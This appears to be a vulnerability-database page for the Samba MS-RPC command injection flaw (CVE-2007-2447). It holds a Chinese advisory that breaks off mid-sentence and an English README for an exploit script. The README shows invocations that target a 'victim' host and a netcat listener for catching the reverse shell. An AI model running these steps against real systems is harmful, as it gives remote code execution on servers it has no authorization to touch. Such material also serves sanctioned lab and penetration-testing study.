Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
Description
Samba 3.0.20
Readme
## This exploit helps you to get a reverse shell, exploting Samba 3.0.20 < 3.0.25

· When executing the script with python3 with the --help parameter, it asks us for a series of parameters

     --lhost LHOST  your host   (ip where the shell will be received)
     --lport LPORT  your port   (port where the shell will be received)
     --rhost RHOST  remote host  (ip of the victim machine)
     --rport RPORT  remote port  (port of the victim machine)

· Before run the script do this

    pip3 install pysmb
  
· Example

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Or you can do 

    python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

    ❯ nc -nlvp 443
